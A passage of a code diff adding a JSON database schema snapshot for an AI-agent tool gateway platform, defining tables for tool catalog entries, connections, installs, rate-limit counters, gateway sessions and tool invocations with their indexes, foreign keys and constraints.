+        "version_hash": {
+          "name": "version_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "schema_hash": {
+          "name": "schema_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "first_seen_at": {
+          "name": "first_seen_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "last_seen_at": {
+          "name": "last_seen_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "reviewed_at": {
+          "name": "reviewed_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "reviewed_by_agent_id": {
+          "name": "reviewed_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "reviewed_by_user_id": {
+          "name": "reviewed_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "quarantined_at": {
+          "name": "quarantined_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "quarantine_reason": {
+          "name": "quarantine_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_catalog_entries_company_idx": {
+          "name": "tool_catalog_entries_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_catalog_entries_application_idx": {
+          "name": "tool_catalog_entries_application_idx",
+          "columns": [
+            {
+              "expression": "application_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_catalog_entries_connection_idx": {
+          "name": "tool_catalog_entries_connection_idx",
+          "columns": [
+            {
+              "expression": "connection_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_catalog_entries_company_status_idx": {
+          "name": "tool_catalog_entries_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_catalog_entries_connection_name_uq": {
+          "name": "tool_catalog_entries_connection_name_uq",
+          "columns": [
+            {
+              "expression": "connection_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "name",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_catalog_entries_company_id_companies_id_fk": {
+          "name": "tool_catalog_entries_company_id_companies_id_fk",
+          "tableFrom": "tool_catalog_entries",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_catalog_entries_application_id_tool_applications_id_fk": {
+          "name": "tool_catalog_entries_application_id_tool_applications_id_fk",
+          "tableFrom": "tool_catalog_entries",
+          "tableTo": "tool_applications",
+          "columnsFrom": [
+            "application_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_catalog_entries_connection_id_tool_connections_id_fk": {
+          "name": "tool_catalog_entries_connection_id_tool_connections_id_fk",
+          "tableFrom": "tool_catalog_entries",
+          "tableTo": "tool_connections",
+          "columnsFrom": [
+            "connection_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_catalog_entries_reviewed_by_agent_id_agents_id_fk": {
+          "name": "tool_catalog_entries_reviewed_by_agent_id_agents_id_fk",
+          "tableFrom": "tool_catalog_entries",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "reviewed_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_connection_installs": {
+      "name": "tool_connection_installs",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "connection_id": {
+          "name": "connection_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "target_type": {
+          "name": "target_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "target_id": {
+          "name": "target_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_connection_installs_company_target_idx": {
+          "name": "tool_connection_installs_company_target_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_connection_installs_connection_idx": {
+          "name": "tool_connection_installs_connection_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "connection_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_connection_installs_target_uq": {
+          "name": "tool_connection_installs_target_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "connection_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_connection_installs_company_id_companies_id_fk": {
+          "name": "tool_connection_installs_company_id_companies_id_fk",
+          "tableFrom": "tool_connection_installs",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_connection_installs_connection_id_tool_connections_id_fk": {
+          "name": "tool_connection_installs_connection_id_tool_connections_id_fk",
+          "tableFrom": "tool_connection_installs",
+          "tableTo": "tool_connections",
+          "columnsFrom": [
+            "connection_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_connection_installs_created_by_agent_id_agents_id_fk": {
+          "name": "tool_connection_installs_created_by_agent_id_agents_id_fk",
+          "tableFrom": "tool_connection_installs",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "tool_connection_installs_target_type_check": {
+          "name": "tool_connection_installs_target_type_check",
+          "value": "\"tool_connection_installs\".\"target_type\" in ('company', 'agent')"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.tool_connections": {
+      "name": "tool_connections",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "application_id": {
+          "name": "application_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "uid": {
+          "name": "uid",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "connection_kind": {
+          "name": "connection_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'managed'"
+        },
+        "ownership": {
+          "name": "ownership",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'customer'"
+        },
+        "transport": {
+          "name": "transport",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "auth_kind": {
+          "name": "auth_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'none'"
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'draft'"
+        },
+        "enabled": {
+          "name": "enabled",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "config": {
+          "name": "config",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "transport_config": {
+          "name": "transport_config",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "credential_refs": {
+          "name": "credential_refs",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "credential_secret_refs": {
+          "name": "credential_secret_refs",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "health_status": {
+          "name": "health_status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'unchecked'"
+        },
+        "health_message": {
+          "name": "health_message",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "health_checked_at": {
+          "name": "health_checked_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_health_at": {
+          "name": "last_health_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_catalog_refresh_at": {
+          "name": "last_catalog_refresh_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_error": {
+          "name": "last_error",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_connections_company_idx": {
+          "name": "tool_connections_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_connections_application_idx": {
+          "name": "tool_connections_application_idx",
+          "columns": [
+            {
+              "expression": "application_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_connections_company_enabled_idx": {
+          "name": "tool_connections_company_enabled_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "enabled",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_connections_company_uid_uq": {
+          "name": "tool_connections_company_uid_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "uid",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_connections_company_id_companies_id_fk": {
+          "name": "tool_connections_company_id_companies_id_fk",
+          "tableFrom": "tool_connections",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_connections_application_id_tool_applications_id_fk": {
+          "name": "tool_connections_application_id_tool_applications_id_fk",
+          "tableFrom": "tool_connections",
+          "tableTo": "tool_applications",
+          "columnsFrom": [
+            "application_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "tool_connections_created_by_agent_id_agents_id_fk": {
+          "name": "tool_connections_created_by_agent_id_agents_id_fk",
+          "tableFrom": "tool_connections",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {
+        "tool_connections_company_id_uq": {
+          "name": "tool_connections_company_id_uq",
+          "nullsNotDistinct": false,
+          "columns": [
+            "company_id",
+            "id"
+          ]
+        }
+      },
+      "policies": {},
+      "checkConstraints": {
+        "tool_connections_ownership_check": {
+          "name": "tool_connections_ownership_check",
+          "value": "\"tool_connections\".\"ownership\" in ('platform_shared', 'platform_provisioned', 'customer', 'dcr')"
+        },
+        "tool_connections_transport_check": {
+          "name": "tool_connections_transport_check",
+          "value": "\"tool_connections\".\"transport\" in ('mcp_remote', 'rest_api', 'local_stdio')"
+        },
+        "tool_connections_auth_kind_check": {
+          "name": "tool_connections_auth_kind_check",
+          "value": "\"tool_connections\".\"auth_kind\" in ('oauth', 'api_key', 'none')"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.tool_gateway_rate_limit_counters": {
+      "name": "tool_gateway_rate_limit_counters",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "counter_key": {
+          "name": "counter_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "window_start_at": {
+          "name": "window_start_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "window_ms": {
+          "name": "window_ms",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "limit": {
+          "name": "limit",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "count": {
+          "name": "count",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "reset_at": {
+          "name": "reset_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_gateway_rate_limit_counters_company_idx": {
+          "name": "tool_gateway_rate_limit_counters_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_gateway_rate_limit_counters_window_uq": {
+          "name": "tool_gateway_rate_limit_counters_window_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "counter_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "window_start_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_gateway_rate_limit_counters_company_id_companies_id_fk": {
+          "name": "tool_gateway_rate_limit_counters_company_id_companies_id_fk",
+          "tableFrom": "tool_gateway_rate_limit_counters",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_gateway_sessions": {
+      "name": "tool_gateway_sessions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "run_id": {
+          "name": "run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "project_id": {
+          "name": "project_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "gateway_id": {
+          "name": "gateway_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "gateway_token_id": {
+          "name": "gateway_token_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "gateway_public_id": {
+          "name": "gateway_public_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "client_subject_type": {
+          "name": "client_subject_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "client_subject_id": {
+          "name": "client_subject_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "client_name": {
+          "name": "client_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "mcp_session_id": {
+          "name": "mcp_session_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "correlation_id": {
+          "name": "correlation_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "token_hash": {
+          "name": "token_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "expires_at": {
+          "name": "expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "last_used_at": {
+          "name": "last_used_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "revoked_at": {
+          "name": "revoked_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_gateway_sessions_token_hash_uq": {
+          "name": "tool_gateway_sessions_token_hash_uq",
+          "columns": [
+            {
+              "expression": "token_hash",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_gateway_sessions_company_agent_idx": {
+          "name": "tool_gateway_sessions_company_agent_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_gateway_sessions_company_expires_idx": {
+          "name": "tool_gateway_sessions_company_expires_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "expires_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_gateway_sessions_run_idx": {
+          "name": "tool_gateway_sessions_run_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "run_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_gateway_sessions_issue_idx": {
+          "name": "tool_gateway_sessions_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_gateway_sessions_gateway_idx": {
+          "name": "tool_gateway_sessions_gateway_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "gateway_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_gateway_sessions_company_id_companies_id_fk": {
+          "name": "tool_gateway_sessions_company_id_companies_id_fk",
+          "tableFrom": "tool_gateway_sessions",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_gateway_sessions_agent_id_agents_id_fk": {
+          "name": "tool_gateway_sessions_agent_id_agents_id_fk",
+          "tableFrom": "tool_gateway_sessions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_gateway_sessions_run_id_heartbeat_runs_id_fk": {
+          "name": "tool_gateway_sessions_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "tool_gateway_sessions",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_gateway_sessions_issue_id_issues_id_fk": {
+          "name": "tool_gateway_sessions_issue_id_issues_id_fk",
+          "tableFrom": "tool_gateway_sessions",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_gateway_sessions_project_id_projects_id_fk": {
+          "name": "tool_gateway_sessions_project_id_projects_id_fk",
+          "tableFrom": "tool_gateway_sessions",
+          "tableTo": "projects",
+          "columnsFrom": [
+            "project_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_gateway_sessions_gateway_id_tool_mcp_gateways_id_fk": {
+          "name": "tool_gateway_sessions_gateway_id_tool_mcp_gateways_id_fk",
+          "tableFrom": "tool_gateway_sessions",
+          "tableTo": "tool_mcp_gateways",
+          "columnsFrom": [
+            "gateway_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_gateway_sessions_gateway_token_id_tool_mcp_gateway_tokens_id_fk": {
+          "name": "tool_gateway_sessions_gateway_token_id_tool_mcp_gateway_tokens_id_fk",
+          "tableFrom": "tool_gateway_sessions",
+          "tableTo": "tool_mcp_gateway_tokens",
+          "columnsFrom": [
+            "gateway_token_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_invocations": {
+      "name": "tool_invocations",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "idempotency_key": {
+          "name": "idempotency_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "actor_type": {
+          "name": "actor_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'system'"
+        },
+        "actor_id": {
+          "name": "actor_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "run_id": {
+          "name": "run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "gateway_id": {
+          "name": "gateway_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "gateway_token_id": {
+          "name": "gateway_token_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "gateway_public_id": {
+          "name": "gateway_public_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "client_subject_type": {
+          "name": "client_subject_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "client_subject_id": {
+          "name": "client_subject_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "client_name": {
+          "name": "client_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "mcp_session_id": {
+          "name": "mcp_session_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "correlation_id": {
+          "name": "correlation_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "application_id": {
+          "name": "application_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "connection_id": {
+          "name": "connection_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "catalog_entry_id": {
+          "name": "catalog_entry_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "catalog_version_hash": {
+          "name": "catalog_version_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "catalog_schema_hash": {
+          "name": "catalog_schema_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "provider_type": {
+          "name": "provider_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "application_key": {
+          "name": "application_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "upstream_tool_name": {
+          "name": "upstream_tool_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "risk_level": {
+          "name": "risk_level",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "tool_name": {
+          "name": "tool_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "arguments_hash": {
+          "name": "arguments_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "arguments_summary": {
+          "name": "arguments_summary",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "policy_decision": {
+          "name": "policy_decision",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "matched_policy_ids": {
+          "name": "matched_policy_ids",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "policy_explanation": {
+          "name": "policy_explanation",
+          "type": "jsonb",
+          "primaryKey": false,
